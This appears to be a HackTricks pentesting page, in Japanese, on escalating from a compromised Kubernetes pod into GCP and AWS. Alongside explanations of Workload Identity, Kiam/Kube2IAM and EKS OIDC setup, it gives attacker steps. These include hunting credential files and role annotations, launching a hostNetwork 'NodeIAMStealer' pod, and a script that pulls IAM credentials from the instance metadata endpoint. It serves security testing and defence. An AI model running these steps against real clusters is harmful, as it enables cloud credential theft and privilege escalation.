Kubernetes Pivoting to Clouds

HackTricksのサポート

GCP

GCP内でk8sクラスターを実行している場合、おそらくクラスター内で実行されているアプリケーションがGCPへのアクセス権を持つことを望むでしょう。これを行う一般的な方法は2つあります:

GCP-SAキーをシークレットとしてマウント

kubernetesアプリケーションにGCPへのアクセス権を与える一般的な方法は次のとおりです:

  • GCPサービスアカウントを作成する

  • 希望する権限をそれにバインドする

  • 作成したSAのjsonキーをダウンロードする

  • ポッド内でシークレットとしてマウントする

  • GOOGLE_APPLICATION_CREDENTIALS環境変数を、jsonが存在するパスを指すように設定する。

したがって、攻撃者として、ポッド内のコンテナを侵害した場合、その環境変数とGCPの認証情報を持つjsonファイルをチェックする必要があります。

GSA jsonをKSAシークレットに関連付ける

GSAにGKEクラスターへのアクセス権を与える方法は、次のようにそれらをバインドすることです:

  • 次のコマンドを使用して、GKEクラスターと同じ名前空間にKubernetesサービスアカウントを作成します:

Copy codekubectl create serviceaccount <service-account-name>
  • 欲しいGKEクラスタへのアクセス権を付与したいGCPサービスアカウントの資格情報を含むKubernetes Secretを作成します。次の例に示すように、gcloudコマンドラインツールを使用してこれを行うことができます:

Copy codegcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • 以下のコマンドを使用して、KubernetesシークレットをKubernetesサービスアカウントにバインドします:

Copy codekubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

第二ステップでは、GSAの資格情報をKSAのシークレットとして設定しました。その後、GKEクラスター内部からそのシークレットを読み取ることができれば、そのGCPサービスアカウントに昇格することができます。

GKE Workload Identity

Workload Identityを使用すると、KubernetesサービスアカウントGoogleサービスアカウントとして機能させることができます。Kubernetesサービスアカウントで実行されるポッドは、Google Cloud APIにアクセスする際に自動的にGoogleサービスアカウントとして認証されます。

この動作を有効にするための最初の一連の手順は、GCPでWorkload Identityを有効にし、k8sが模倣するGCP SAを作成することです。

  • 新しいクラスターでWorkload Identityを有効にする

gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • 新しいノードプールの作成/更新(Autopilot クラスターはこれが必要ありません)

# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • K8sからGCP権限を持つGCPサービスアカウントを偽装するために作成します:

# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • クラスタ接続し、使用するサービスアカウント作成します

# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • GSAとKSAをバインドする

# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • KSAを使用してpodを実行し、GSAへのアクセスを確認します:

# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

以下は、必要に応じて認証するためのコマンドを確認してください:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

K8s内の攻撃者としては、SA(Service Account)にiam.gke.io/gcp-service-accountアノテーションがあるかどうかを検索すべきです。これは、SAがGCP内の何かにアクセスできることを示しています。別のオプションとしては、クラスタ内の各KSA(Kubernetes Service Account)を悪用し、そのアクセス権限を確認することが考えられます。 GCPからは、常にバインディングを列挙し、Kubernetes内のSAにどのようなアクセス権限を与えているかを把握することが興味深いです。

これは、すべてのポッド定義を簡単に繰り返し処理し、そのアノテーションを探すスクリプトです:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

PodsにIAMロールを付与する(古い)方法は、KiamまたはKube2IAM サーバーを使用することです。基本的に、クラスター内で特権を持つIAMロールを持つデーモンセットを実行する必要があります。このデーモンセットは、必要なポッドにIAMロールへのアクセス権を付与するものです。

まず、ネームスペース内でアクセスできるロールを構成する必要があります。これは、ネームスペースオブジェクト内のアノテーションを使用して行います:

Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

IAM ロールが構成されたら、Pod には次のようにして各ポッド定義で希望するロールを示すことができます:

Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

攻撃者として、ポッドやネームスペース、または実行中の kiam/kube2iam サーバー(おそらく kube-system 内)でこれらの注釈を見つけた場合、すでにポッドによって使用されているすべてのロール偽装することができます(AWS アカウントにアクセスできる場合は、ロールを列挙できます)。

IAM ロールを持つ Pod を作成する

指定する IAM ロールは、kiam/kube2iam ロールと同じ AWS アカウント内にある必要があり、そのロールがアクセスできる必要があります。

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

これはAWSによって推奨される方法です。

  1. 次に、SAが必要とする権限を持つIAMロールを作成します。

  2. IAMロールとSAの間に信頼関係を作成します信頼関係は主にOIDCプロバイダー名、名前空間名、およびSA名をチェックします

  3. 最後に、ロールのARNを示す注釈を持つSAを作成し、そのSAで実行されるポッドはロールのトークンにアクセスできます。トークンファイル内に書き込まれ、そのパスは**AWS_WEB_IDENTITY_TOKEN_FILE**で指定されます(デフォルト:/var/run/secrets/eks.amazonaws.com/serviceaccount/token)。

# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

/var/run/secrets/eks.amazonaws.com/serviceaccount/token からトークンを使用して aws を取得するには、次のコマンドを実行します:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

攻撃者として、K8sクラスターを列挙できれば、そのアノテーションを持つサービスアカウントAWSにエスカレーションするかどうかを確認してください。そのためには、IAMの特権付きサービスアカウントの1つを使用してポッドを実行/作成し、トークンを盗みます。

さらに、ポッド内部にいる場合は、AWS_ROLE_ARNAWS_WEB_IDENTITY_TOKENなどの環境変数をチェックしてください。

ロールの信頼ポリシー適切に構成されていない場合があり、期待されるサービスアカウントにAssumeRoleアクセス権限を与える代わりに、すべてのサービスアカウントに与えてしまうことがあります。したがって、制御されたサービスアカウントにアノテーションを書き込むことができる場合は、そのロールにアクセスできます。

詳細については、次のページを参照してください

AWS - Federation Abuse

クラスター内のIAMロールを持つポッドとサービスアカウントを見つける

これは、すべてのポッドとサービスアカウントの定義を繰り返し処理し、そのアノテーションを探すためのスクリプトです:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

ノード IAM ロール

前のセクションでは、ポッドで IAM ロールを盗む方法について説明しましたが、K8s クラスターのノードはクラウド内のインスタンスになります。つまり、ノードは非常に高い確率で盗むことができる新しい IAM ロールを持つ可能性があります(通常、K8s クラスターのすべてのノードが同じ IAM ロールを持つため、各ノードをチェックしようとする価値がないかもしれません)。

ただし、ノードからメタデータエンドポイントにアクセスするためには、ノードにいる必要があります(ssh セッション?)または少なくとも同じネットワークにいる必要があります。

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

IAMロールトークンの盗み出し

以前、ポッドにIAMロールをアタッチする方法や、インスタンスにアタッチされているIAMロールを盗むためにノードにエスケープする方法について説明しました。

次のスクリプトを使用して、あなたの新しく獲得したIAMロールの資格情報を盗むことができます:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

参考文献

HackTricksのサポート

Last updated